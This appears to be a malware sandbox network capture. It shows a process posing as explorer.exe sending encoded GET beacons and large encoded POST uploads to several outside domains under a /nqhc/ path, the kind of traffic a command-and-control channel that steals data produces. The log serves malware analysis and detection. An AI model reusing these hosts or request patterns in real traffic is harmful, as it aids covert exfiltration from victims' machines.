Nov 21, 2022 19:23:12.067428112 CET	1519	OUT	Data Raw: 52 58 48 4b 5a 61 44 43 70 53 55 61 52 53 37 67 7a 69 67 57 6a 44 62 78 6b 36 32 39 52 58 54 41 46 52 61 64 72 50 4f 33 61 6b 54 53 5a 51 7a 64 56 72 65 44 37 79 44 57 45 36 78 35 36 54 76 6b 6f 75 4e 31 39 38 50 57 7a 54 78 6b 7a 50 73 51 59 75 Data Ascii: RXHKZaDCpSUaRS7gzigWjDbxk629RXTAFRadrPO3akTSZQzdVreD7yDWE6x56TvkouN198PWzTxkzPsQYuJVjDOR(6otjNN8gzjek0JZz8j-Au97FfgdaumFiaptsfrZ3oVknSR9gKhx7sfE(7DV0LOOJF3XWLSaDd1_g4O8NWZ9Wgc91PACh41GqTyoSyPKZj6t3Wku~5hu9xdyXsMOza7csKjxw_HMdxf_tsVTw_qxHkwWHo3
Nov 21, 2022 19:23:12.067761898 CET	1524	OUT	Data Raw: 65 62 6d 77 6f 2d 41 36 33 31 31 43 56 52 57 67 6e 50 4e 48 39 53 6e 65 4c 6f 33 30 33 47 45 74 72 56 55 38 62 45 45 59 71 63 43 47 76 4d 6c 4c 59 35 54 51 4f 63 47 42 58 68 72 44 6e 4c 4e 4e 53 61 74 35 70 46 54 66 63 6f 70 72 6b 65 51 6e 6b 4e Data Ascii: ebmwo-A6311CVRWgnPNH9SneLo303GEtrVU8bEEYqcCGvMlLY5TQOcGBXhrDnLNNSat5pFTfcoprkeQnkNZvFbMjyxwlpXbWcc9kO8(3Kh5K19c3AyDs94SXpiZkepJsLGx0EwFbLW9g0vjCIo57e6Ntm-poNT2pvnp549s9IAQ93Wvs9giqpI1sA3uLCaCfdsRLFNFD7d7CvyfGSoBus2voQN7ekpRPxwQ3TfK89UfGhmh6phW
Nov 21, 2022 19:23:12.067847013 CET	1525	OUT	Data Raw: 53 39 65 74 73 47 62 67 4e 5a 4f 33 38 61 77 48 28 76 37 42 53 61 57 34 4a 74 56 53 4a 4d 71 77 5a 73 66 79 47 41 66 52 35 30 79 63 77 79 63 37 77 57 75 43 5a 4d 4f 47 59 73 74 44 77 78 4b 47 77 73 72 47 7e 46 63 76 77 58 4a 31 50 67 4d 75 61 36 Data Ascii: S9etsGbgNZO38awH(v7BSaW4JtVSJMqwZsfyGAfR50ycwyc7wWuCZMOGYstDwxKGwsrG~FcvwXJ1PgMua6ofd-(mWffy0W(5SXIYc69PiEQGmrLravjwbnipSjXSPyHsJ_PoIzjRhAOeN28Zow8Zj5VP1tFTsg~I1NIxASF_zsJedymKJDm4~9ICqI6dVyBPHPq5REo32easvin4gqr-18WpUO6v38APexfXqdpCHzyM6LV8t5R
Nov 21, 2022 19:23:12.067914009 CET	1532	OUT	Data Raw: 61 6e 52 74 4d 6e 39 47 64 39 6c 36 6c 45 72 6a 77 37 39 77 6d 44 30 78 51 6c 50 74 46 4c 43 6f 43 39 4a 67 36 47 61 6c 4d 78 65 56 54 7a 38 34 67 6e 4d 36 70 61 32 6f 55 6f 6a 44 79 6b 68 4d 43 67 35 37 79 75 43 6a 34 31 7e 39 36 75 72 6f 62 6c Data Ascii: anRtMn9Gd9l6lErjw79wmD0xQlPtFLCoC9Jg6GalMxeVTz84gnM6pa2oUojDykhMCg57yuCj41~96urobl2cqNlwt-Hq2tJu0KBzOyRFXUyQUttLd0RuBJyHsPehwf2-iPjKh7VDVgMSYd6BYb87n6pIDC6lHw~xSiMs8GHSyZM_wLeOPGSg4DMpuzLv4IV0qpre62BFhWZ8wR4oUUr_oAlwDpsw2BjtOdJPz19bgFwVracG(wa
Nov 21, 2022 19:23:12.067991018 CET	1534	OUT	Data Raw: 75 30 4e 62 41 68 45 35 52 45 7a 68 67 61 67 66 33 49 4f 4b 34 58 57 4e 33 61 5a 66 4b 37 38 70 54 6a 59 52 46 65 28 4a 72 6a 46 75 5a 6b 28 4a 74 32 6b 72 6e 38 37 45 66 75 44 35 36 53 31 36 46 42 66 59 76 45 33 50 45 34 5a 69 39 56 6e 75 6b 47 Data Ascii: u0NbAhE5REzhgagf3IOK4XWN3aZfK78pTjYRFe(JrjFuZk(Jt2krn87EfuD56S16FBfYvE3PE4Zi9VnukGHLkZlGmqHypPn32x2JRVwRUUgs(Lb3MtQ_jitjUkrt8LSmgou6DL3trTfw~r~DJHiv6YxLuQ2R84sXCt3eV_y0DFltMDCS87haEaJy0u37cDEsFM6nGd6f2thR3FMMYzKtREvKmwzhDJNqweK1XLdOKWMVYZbtCD8
Nov 21, 2022 19:23:12.068228006 CET	1539	OUT	Data Raw: 34 50 6c 44 6b 72 41 73 48 75 75 52 79 36 46 6f 28 38 77 42 69 42 45 78 7e 42 65 49 58 77 72 49 30 51 28 4e 56 7a 63 6e 6b 68 69 2d 42 53 39 69 44 76 53 4c 57 33 6c 4d 77 49 74 74 55 58 71 4d 6f 61 55 5f 44 61 41 59 52 5a 4b 6d 65 44 48 5f 34 51 Data Ascii: 4PlDkrAsHuuRy6Fo(8wBiBEx~BeIXwrI0Q(NVzcnkhi-BS9iDvSLW3lMwIttUXqMoaU_DaAYRZKmeDH_4QLFWTmPcG62T9NIV0Cg(mLKJBlSU9IW6emNUSA-NSrW7pvj7qvd042VK2AKjJ7wBNGKwZqsn_Itlpvud63izLwePM2dNVbP6nGDQx1-Psny(kqBBRJzUY2zfy0XLU2jZi56GYuQqmK7ciZHkYYeAzHU~mNBugnV~4P
Nov 21, 2022 19:23:12.390628099 CET	1555	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:23:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.11.20	49879	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:14.096967936 CET	1555	OUT	GET /nqhc/?r4txB=cCAegqK/nzfcR22oyFZFZLhv7+fwUp6Akkv27RFimicapgMUJBRfpG+MwKY/yKfw/XeAmq4HqwYY5KwMyaSJSZOUIGIe3VRiGA==&1b=S8jD HTTP/1.1 Host: www.wellnessprodia.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:23:14.270143032 CET	1556	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:23:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Content-Length: 746 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 29 20 7b 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 36 65 6d 3b 20 7d 20 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 47 65 6f 72 67 69 61 2c 20 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 34 61 34 61 34 61 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 65 6d 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 22 3e 0a 20 20 20 20 53 6f 72 72 79 2c 20 74 68 69 73 20 70 61 67 65 20 64 6f 65 73 6e 27 74 20 65 78 69 73 74 2e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 65 20 55 52 4c 20 6f 72 20 67 6f 20 62 61 63 6b 20 61 20 70 61 67 65 2e 0a 20 20 3c 2f 68 31 3e 0a 20 20 0a 20 20 3c 68 32 20 73 74 79 6c 65 3d 22 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 37 64 37 64 37 64 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 22 3e 0a 20 20 20 20 34 30 34 20 45 72 72 6f 72 2e 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 2e 0a 20 20 3c 2f 68 32 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 Error</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex, nofollow"> <style> @media screen and (max-width:500px) { body { font-size: .6em; } } </style></head><body style="text-align: center;"> <h1 style="font-family: Georgia, serif; color: #4a4a4a; margin-top: 4em; line-height: 1.5;"> Sorry, this page doesn't exist.<br>Please check the URL or go back a page. </h1> <h2 style=" font-family: Verdana, sans-serif; color: #7d7d7d; font-weight: 300;"> 404 Error. Page Not Found. </h2> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.11.20	49881	45.33.23.183	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:32.237992048 CET	1564	OUT	GET /nqhc/?r4txB=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==&1b=S8jD HTTP/1.1 Host: www.labour-office.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:23:32.373277903 CET	1564	IN	HTTP/1.1 404 Not Found server: openresty/1.13.6.1 date: Mon, 21 Nov 2022 18:23:32 GMT content-type: text/html content-length: 175 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty/1.13.6.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.11.20	49882	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:37.441638947 CET	1565	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 68 71 50 63 4a 53 4c 33 50 73 74 6f 61 70 61 52 76 30 4b 52 30 70 68 4f 30 4e 45 51 34 4a 4f 38 66 61 6b 44 33 38 6c 38 43 57 66 6c 75 35 6a 6c 28 76 75 52 30 4d 55 62 33 43 72 61 63 63 35 58 47 68 44 33 65 68 6c 39 56 44 66 49 4e 55 43 4b 72 47 31 57 32 69 75 4f 35 5a 45 50 73 61 36 4f 57 50 78 66 77 41 47 37 59 43 48 6a 55 6a 61 31 6d 53 66 35 6c 49 43 67 4f 61 77 36 78 46 32 51 34 7a 38 59 52 69 6d 61 73 4b 31 65 35 63 7a 55 61 56 4d 43 64 6e 5a 52 43 69 30 62 6d 38 39 56 54 50 64 57 56 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=9jZPDiqEJGn1hqPcJSL3PstoapaRv0KR0phO0NEQ4JO8fakD38l8CWflu5jl(vuR0MUb3Cracc5XGhD3ehl9VDfINUCKrG1W2iuO5ZEPsa6OWPxfwAG7YCHjUja1mSf5lICgOaw6xF2Q4z8YRimasK1e5czUaVMCdnZRCi0bm89VTPdWVg).
Nov 21, 2022 19:23:37.536923885 CET	1566	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:23:37 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.11.20	49883	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:39.519861937 CET	1567	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 71 38 66 37 30 44 6d 49 4a 38 44 57 66 6c 32 4a 69 76 37 76 75 4b 30 4e 6f 54 33 48 4c 61 63 59 70 58 48 53 4c 33 4a 68 6c 2d 42 54 66 4a 49 55 43 61 36 57 31 51 32 69 79 6f 35 59 51 50 73 4f 4b 4f 45 36 74 66 36 78 47 36 63 69 48 6c 57 6a 61 79 73 79 66 4e 6c 49 47 6f 4f 61 34 4d 78 32 71 51 34 54 63 59 44 69 6d 5a 6d 36 31 6e 37 63 79 46 4c 58 45 49 59 45 5a 79 55 77 73 34 7e 75 46 42 56 4d 34 5a 58 66 38 5f 50 32 32 6b 56 4c 50 52 6e 55 35 48 4f 54 48 65 51 6c 35 65 59 4c 76 58 4b 36 62 30 55 50 55 46 6d 7a 65 36 4f 33 33 74 47 43 73 6e 56 48 73 30 6f 76 71 30 6c 6d 78 4b 5a 36 71 38 67 72 6d 37 58 6b 30 46 54 6d 6a 6b 77 79 59 61 39 55 6f 54 71 78 44 73 50 6d 71 46 47 79 5a 48 66 6d 30 76 51 72 44 42 61 52 4c 2d 52 6e 56 30 78 31 53 53 50 71 32 77 62 67 4c 44 53 2d 34 44 55 43 6a 66 69 4c 7a 44 78 45 34 55 7a 58 39 44 4a 71 47 48 4a 4d 37 78 62 44 68 77 54 61 57 59 61 41 6f 48 63 36 78 34 33 4c 7e 69 6d 59 7a 79 73 4e 45 70 6c 4c 6b 67 78 6f 4e 61 36 5f 62 65 71 33 31 6f 74 43 6b 78 65 75 32 69 6e 6d 78 69 6e 72 56 67 48 72 35 7a 34 70 74 6e 54 67 4a 45 6d 61 78 75 37 36 47 56 44 31 39 49 68 61 42 7a 5a 64 7a 58 6b 42 34 5a 7a 47 54 57 4b 76 79 5f 28 37 72 67 65 49 4a 62 44 78 42 51 77 72 46 72 50 7a 76 33 4d 31 46 4d 39 76 50 35 55 4f 69 76 79 2d 65 32 33 31 47 6d 44 46 4a 48 6b 6d 76 56 63 70 4a 46 71 4c 69 31 69 50 4a 76 45 36 53 74 4d 51 43 4e 72 69 38 5f 4e 79 56 6a 74 39 63 66 54 73 6f 57 64 68 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657q8f70DmIJ8DWfl2Jiv7vuK0NoT3HLacYpXHSL3Jhl-BTfJIUCa6W1Q2iyo5YQPsOKOE6tf6xG6ciHlWjaysyfNlIGoOa4Mx2qQ4TcYDimZm61n7cyFLXEIYEZyUws4~uFBVM4ZXf8_P22kVLPRnU5HOTHeQl5eYLvXK6b0UPUFmze6O33tGCsnVHs0ovq0lmxKZ6q8grm7Xk0FTmjkwyYa9UoTqxDsPmqFGyZHfm0vQrDBaRL-RnV0x1SSPq2wbgLDS-4DUCjfiLzDxE4UzX9DJqGHJM7xbDhwTaWYaAoHc6x43L~imYzysNEplLkgxoNa6_beq31otCkxeu2inmxinrVgHr5z4ptnTgJEmaxu76GVD19IhaBzZdzXkB4ZzGTWKvy_(7rgeIJbDxBQwrFrPzv3M1FM9vP5UOivy-e231GmDFJHkmvVcpJFqLi1iPJvE6StMQCNri8_NyVjt9cfTsoWdho.
Nov 21, 2022 19:23:39.612813950 CET	1568	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:23:39 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.11.20	49884	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:41.597794056 CET	1573	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 69 38 66 4d 30 44 33 5a 4a 38 41 57 66 6c 37 70 69 75 37 76 75 48 30 4d 41 58 33 48 50 4b 63 61 68 58 48 44 62 33 4a 30 35 2d 52 44 65 75 52 55 43 4c 72 47 31 4d 32 69 75 47 35 59 45 66 73 65 57 4f 57 4e 70 66 77 69 75 37 65 79 48 6a 57 6a 61 6d 6f 79 66 46 6c 49 4c 7a 4f 61 30 4d 78 31 65 51 34 6c 51 59 51 44 6d 5a 67 71 31 67 77 38 7a 4c 53 6e 46 34 59 45 4e 4d 55 77 73 47 7e 76 42 42 56 50 77 5a 46 75 38 77 50 57 32 6b 59 72 50 53 6a 55 31 44 4f 54 61 44 51 6c 4e 65 59 49 76 58 4c 61 62 30 45 37 41 47 75 7a 65 38 59 48 33 36 43 43 6f 5f 56 48 6f 4b 6f 72 6d 30 6c 57 31 4b 59 4a 43 38 6a 50 79 37 51 30 30 4c 65 47 6a 37 6e 69 59 47 39 55 35 36 71 79 36 5a 50 6d 4f 46 48 54 35 48 61 43 59 6f 57 4c 44 44 45 42 4c 6e 44 58 5a 47 78 31 43 65 50 71 32 67 62 6a 48 44 54 4f 49 44 56 44 6a 63 6c 62 7a 45 38 6b 35 63 34 33 42 65 4a 71 61 66 4a 4d 69 71 62 41 4e 77 54 36 57 59 66 6a 41 45 4f 71 78 7a 6f 37 28 6c 6f 34 7a 6c 73 4e 59 31 6c 4b 77 57 77 5a 52 61 34 4f 72 65 74 6e 31 70 70 69 6b 31 48 2d 32 6b 6a 6d 78 69 6e 72 5a 4b 48 72 6c 7a 37 5a 6c 6e 4a 79 68 45 74 74 6c 75 39 36 47 54 44 31 39 6a 68 61 64 49 5a 64 37 70 6b 46 38 5f 7a 46 28 57 4b 65 69 5f 38 35 54 6e 61 34 4a 55 55 68 42 35 39 4b 35 47 50 31 4b 36 4d 31 55 37 7e 59 33 35 53 39 4b 76 6a 75 65 31 6c 46 47 72 45 46 49 45 67 6d 6a 67 63 71 38 79 71 4b 57 63 69 4a 70 76 55 75 44 51 4a 42 7a 61 78 6b 6f 6a 4e 79 46 52 6b 50 41 44 57 76 41 4c 4f 42 45 44 74 6f 44 65 4c 62 43 67 53 6c 71 6c 6b 4e 6f 37 67 44 57 43 70 49 77 36 49 51 6b 7a 68 75 43 61 33 5a 4b 6f 6c 68 4b 41 30 62 36 67 65 70 77 78 39 75 38 31 6a 4e 46 4c 6e 69 41 6c 39 47 57 52 4e 49 6b 4a 76 53 57 37 61 5f 43 52 48 58 79 65 79 55 42 66 38 5a 46 6f 54 67 70 4d 49 79 6f 76 50 4f 63 42 64 32 4f 42 6c 6b 4a 55 77 4a 66 70 59 59 49 6b 52 62 74 4a 53 7a 56 49 41 72 5a 4e 59 58 79 37 49 66 4c 71 32 42 36 66 48 41 59 41 37 70 56 6d 30 36 46 47 7a 79 55 41 75 58 34 4e 7e 35 63 61 30 49 4c 34 49 73 7a 4d 56 38 46 43 61 57 66 56 28 54 51 51 6d 58 6f 41 74 61 49 75 31 4f 44 4a 34 57 30 5f 6c 59 57 51 49 52 6d 69 4a 32 68 34 70 45 38 66 65 47 66 6d 4c 76 36 49 78 64 38 63 4a 71 74 4b 4e 73 6f 38 49 75 6f 66 6b 77 68 4e 4b 6c 7a 4d 32 58 6a 32 48 57 43 58 48 57 36 4d 64 75 6d 75 71 30 4b 64 7a 4f 70 43 73 37 45 4d 68 75 74 6f 61 57 68 57 70 4e 4e 35 62 47 70 71 7e 42 4d 56 52 35 4e 47 69 52 45 48 65 35 71 6f 6e 38 7e 59 55 67 53 50 61 62 37 47 4a 4a 34 61 67 47 64 66 78 75 6a 68 59 59 37 59 4a 78 52 38 46 35 42 72 5a 53 46 79 76 77 68 55 6a 6d 7a 6a 43 71 28 4a 30 65 57 67 4b 6c 71 69 58 46 41 74 69 79 28 75 78 63 31 31 4a 72 33 6e 54 61 75 61 68 58 74 53 62 30 4c 52 51 4b 4c 78 43 39 6f 37 28 59 6e 78 58 6f 74 64 52 38 71 33 62 63 67 62 72 42 6b 77 66 4e 79 59 56 6a 52 73 35 63 4f 55 50 59 75 58 46 58 7e 6d 57 41 6b 4a 6f 55 44 4f 61 68 38 4e 46 54 71 56 6b 45 5a 6f 73 5f 61 74 41 54 63 61 74 67 43 55 7e 30 51 37 55 51 55 4e 4e 35 6a 42 46 56 39 43 51 58 4d 6d 64 44 67 71 4d 37 59 32 43 53 6c 7a 49 73 42 62 36 61 54 79 4f 53 33 69 47 51 4c 71 6e 4b 63 4b 4a 51 73 45 4b 4f 4d 78 71 70 41 71 52 